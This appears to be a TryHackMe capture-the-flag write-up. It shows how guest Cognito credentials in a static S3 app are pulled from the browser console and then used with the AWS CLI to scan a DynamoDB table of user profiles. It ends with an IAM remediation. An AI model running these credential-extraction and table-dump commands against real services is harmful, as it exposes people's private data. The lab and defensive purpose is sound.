Complimentary — TryHackMe Hacker Holidays Day 3
How a misconfigured AWS Cognito Identity Pool and an overpermissioned IAM role allowed guest users to obtain temporary AWS credentials, query S3/DynamoDB tables, and extract sensitive profiles containing the flag.
Overview
The target is the Byte Lotus Wellness App, hosted as a static website on Amazon S3. The app requests device accesses and locations without requiring a login flow, but somehow tracks guest profiles. We will explore how it authenticates visitors and extract the database content.
🎯 Objectives
- Identify client-side Cognito requests and capture the Identity Pool ID
- Extract temporary AWS guest credentials using the browser console
- Discover DynamoDB table names from network payloads
- Dump the entire profiles database using Cognito credentials and submit the flag
Step 1: Catching the Invisible Handshake
Static web applications interacting with AWS without explicit login flows often utilize Amazon Cognito Identity Pools with unauthenticated identities enabled. This issues temporary AWS STS credentials to guests.
Let's capture this request: open browser Developer Tools (F12), switch to the Network tab, reload the page, and filter for requests containing cognito-identity.
🔍 Cognito Request Logged
A POST request is sent to cognito-identity.us-east-1.amazonaws.com, containing the client's Identity Pool ID configuration.
Step 2: Extracting the Golden Keys
Since the application utilizes the official AWS SDK for JavaScript, the active credentials configuration is cached in the browser's global scope. We can execute the following snippet in the DevTools console to print them:
AWS.config.credentials.get(function() {
console.log({
accessKeyId: AWS.config.credentials.accessKeyId,
secretAccessKey: AWS.config.credentials.secretAccessKey,
sessionToken: AWS.config.credentials.sessionToken,
identityId: AWS.config.credentials.identityId
});
});
This returns a temporary STS credential set: AccessKeyId, SecretAccessKey, and SessionToken.
Step 3: Discovering the Database
With these credentials configured on our local machine, we attempt to check permissions by listing databases:
AWS_ACCESS_KEY_ID=... \
AWS_SECRET_ACCESS_KEY=... \
AWS_SESSION_TOKEN=... \
aws dynamodb list-tables --region us-east-1
This results in an AccessDeniedException as the unauthenticated role lacks general enumeration rights. However, looking at the browser's Network traffic, the application itself makes request calls to DynamoDB:
Request: GetItem
Target TableName: complimentary-GuestWellnessProfiles
Key: {"guest_id": {"S": "guest-41fdgyyi"}}
This leaks the precise name of the target database table: complimentary-GuestWellnessProfiles.
Step 4: Scanning the Entire Table
Although the application's normal flow only queries row data matching the visitor's `guest_id`, we can use our local CLI and Cognito guest credentials to perform a full database Scan operation:
AWS_ACCESS_KEY_ID=... \
AWS_SECRET_ACCESS_KEY=... \
AWS_SESSION_TOKEN=... \
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output json
Because the IAM policy attached to the unauthenticated role was overpermissioned, the scan returns the complete user profiles table. One specific profile (guest-vip-042) has the flag hidden in its notes field:
🎉 FLAG CAPTURED!
THM{fr33_app_fr33_d4t4!}
Attack Summary
[Byte Lotus Wellness App — S3 Static Site]
│
│ Cognito Identity Pool (unauthenticated identities enabled)
▼
[Browser silently receives temporary AWS STS credentials]
│
│ AWS SDK exposed in JS — credentials extractable via DevTools console
▼
[Temporary IAM credentials extracted]
│
│ Table name leaked in DynamoDB GetItem network request
▼
[dynamodb:Scan permitted on full table — no row-level restriction]
│
│ All 5 guest records dumped
▼
[Flag in guest-vip-042 notes field: THM{fr33_app_fr33_d4t4!}]
Key Takeaways / Remediation
The root cause is a misconfigured IAM policy mapping unauthenticated Cognito identity roles. The role was granted global table scan permissions (dynamodb:Scan) without proper context qualifiers.
💡 Row-Level Access Controls (Fine-Grained Policies)
To fix this, IAM roles should restrict guest database queries using Cognito-specific constraints. Use conditions like dynamodb:LeadingKeys to restrict access only to the item corresponding to the user's Cognito Identity ID:
{
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
}
}
}